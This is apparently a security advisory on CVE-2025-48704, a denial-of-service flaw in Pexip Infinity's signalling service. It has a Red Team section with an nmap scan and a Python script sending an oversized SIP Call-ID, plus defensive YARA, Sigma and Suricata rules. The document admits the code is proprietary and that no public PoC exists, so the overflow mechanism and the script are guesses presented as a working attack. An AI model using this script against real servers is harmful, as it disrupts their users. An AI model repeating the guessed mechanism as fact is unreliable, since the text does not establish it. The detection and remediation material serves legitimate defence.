CVE-2025-48704

Executive Summary

CVE-2025-48704 is a high-severity vulnerability in Pexip Infinity, a video conferencing and collaboration platform. The flaw resides in the signalling component and is caused by improper input validation. An unauthenticated attacker can send a specially crafted request to the signalling service, triggering a software abort (crash) and resulting in a denial of service (DoS). This effectively takes the affected Pexip Infinity node offline, disrupting all active and pending video conferences. The vulnerability affects versions 35.0 through 37.2, with the fix introduced in version 38.0. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. However, given the critical nature of video conferencing infrastructure, immediate patching is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for a successful attack.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The service is completely disrupted.

Threat Level: High. The vulnerability is remotely exploitable without authentication, making it a significant risk for any organization using the affected Pexip Infinity versions. A successful attack can cause a complete denial of service, halting all video conferencing capabilities.

Deep Dive & Mechanics

The vulnerability exists in the signalling component of Pexip Infinity. Signalling is the process used to establish, manage, and terminate multimedia sessions (e.g., video calls). It typically involves protocols like SIP (Session Initiation Protocol) or H.323.

The core issue is Improper Input Validation (CWE-20) . The signalling service does not adequately validate or sanitize incoming data before processing it. An attacker can craft a malicious signalling message that contains unexpected or malformed data. When the vulnerable code parses this input, it triggers a software abort (e.g., a null pointer dereference, buffer overflow, or an unhandled exception) that crashes the signalling process.

Because the signalling service is a core component, its crash brings down the entire Pexip Infinity node. This prevents any new calls from being established and terminates all existing calls that were being managed by that node. The service will not automatically recover; manual intervention or a restart is required to restore functionality.

The attack does not require any prior knowledge of the system or authentication. The attacker only needs network access to the Pexip Infinity server's signalling port (typically TCP/UDP 5060 for SIP or similar).

Vulnerable vs. Patched Code

Since the exact code is proprietary and not publicly available, the following is a conceptual representation of the vulnerability.

Vulnerable Code (Conceptual C/C++):

void process_signalling_message(char *message) {
    char *field = extract_field(message, "Call-ID");
    // No validation of field length or content
    char buffer[256];
    strcpy(buffer, field); // Potential buffer overflow
    // ... further processing that may dereference a null pointer
}

Patched Code (Conceptual C/C++):

void process_signalling_message(char *message) {
    char *field = extract_field(message, "Call-ID");
    if (field == NULL) {
        log_error("Missing Call-ID field");
        return;
    }
    if (strlen(field) >= 256) {
        log_error("Call-ID field too long");
        return;
    }
    char buffer[256];
    strncpy(buffer, field, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... safe processing
}

The patched code adds input validation checks: it verifies that the field is not null and that its length does not exceed the buffer size. It also uses strncpy instead of strcpy to prevent buffer overflows.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Cause a denial of service on a Pexip Infinity node.

Prerequisites:

• Network access to the Pexip Infinity server (e.g., IP: 192.168.1.100).
• Knowledge of the signalling port (default SIP port 5060).

Exploitation Steps:

1. Identify the Target: Scan for Pexip Infinity servers.

   nmap -sV -p 5060 192.168.1.100
   

2. Craft a Malformed SIP Message: Create a SIP INVITE request with an excessively long or malformed Call-ID header.

   import socket
   
   target_ip = "192.168.1.100"
   target_port = 5060
   
   # Malformed SIP INVITE with a very long Call-ID
   malformed_sip = (
       "INVITE sip:user@example.com SIP/2.0\r\n"
       "Via: SIP/2.0/UDP 192.168.1.200:5060\r\n"
       "From: <sip:attacker@example.com>;tag=12345\r\n"
       "To: <sip:user@example.com>\r\n"
       "Call-ID: " + "A" * 10000 + "\r\n"  # Buffer overflow trigger
       "CSeq: 1 INVITE\r\n"
       "Contact: <sip:attacker@192.168.1.200>\r\n"
       "Content-Length: 0\r\n\r\n"
   )
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   sock.sendto(malformed_sip.encode(), (target_ip, target_port))
   print("Malformed SIP message sent.")
   

3. Verify Denial of Service: Attempt to make a legitimate call to the target. The call should fail, and the Pexip Infinity web interface should be unreachable.

Blue Team (Defensive)

Objective: Detect and prevent exploitation of CVE-2025-48704.

Detection Steps:

1. Monitor Signalling Traffic: Look for anomalies in SIP or H.323 traffic, such as:

   • Unusually long header fields (e.g., Call-ID > 256 bytes).
   • Malformed or non-standard SIP messages.
   • A high rate of connection attempts from a single IP.

2. Check Logs: Examine Pexip Infinity logs for signs of crashes or aborts.

   # Example log location (may vary)
   tail -f /var/log/pexip/pexip.log | grep -i "abort\|crash\|signal"
   

3. Implement Network Segmentation: Restrict access to the Pexip Infinity signalling ports to only trusted networks (e.g., internal corporate network, known SIP trunk providers).

4. Deploy a Web Application Firewall (WAF) or Intrusion Prevention System (IPS): Configure rules to block malformed SIP messages.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SIP messages with header fields exceeding 256 bytes.
  • SIP messages with non-standard or malformed syntax.
  • A sudden spike in SIP traffic from a single source IP.
• System IOCs:
  • Pexip Infinity service crash logs.
  • Core dump files generated by the signalling process.
  • Unexpected restarts of the Pexip Infinity service.
• File IOCs:
  • Core dump files in /var/core/ or similar directories.

Detection Engineering

YARA Rule

rule CVE_2025_48704_Pexip_SIP_Overflow {
    meta:
        description = "Detects malformed SIP messages with excessively long Call-ID headers targeting Pexip Infinity"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48704"
    strings:
        $sip_method = "INVITE" nocase
        $call_id = "Call-ID:" nocase
        $long_string = /Call-ID:\s*[A-Za-z0-9\-_.!~*'()]{257,}/ 
    condition:
        $sip_method and $call_id and $long_string
}

Sigma Rule

title: Pexip Infinity Signalling DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-48704 by sending malformed SIP messages with long Call-ID headers.
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        app_protocol: sip
        sip.method: INVITE
        sip.call_id|length: >= 257
    condition: selection
falsepositives:
    - Legitimate but very long Call-ID values (unlikely)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"CVE-2025-48704 Pexip Infinity SIP Call-ID Buffer Overflow Attempt"; content:"INVITE"; nocase; content:"Call-ID:"; nocase; pcre:"/Call-ID:\s*.{257,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Pexip Infinity to version 38.0 or later. This is the only complete fix.
2. Workaround: If patching is not immediately possible, restrict network access to the Pexip Infinity signalling ports (e.g., 5060 UDP/TCP) to only trusted IP addresses using a firewall.

Long-Term Measures:

1. Network Segmentation: Place Pexip Infinity servers in a dedicated VLAN with strict access controls.
2. Intrusion Prevention: Deploy an IPS with signatures to detect and block malformed SIP messages.
3. Monitoring: Continuously monitor Pexip Infinity logs and network traffic for signs of exploitation.
4. Vulnerability Management: Establish a process for promptly applying security patches from Pexip.

Valters IT
DevSecOps & Cyber Threat Intelligence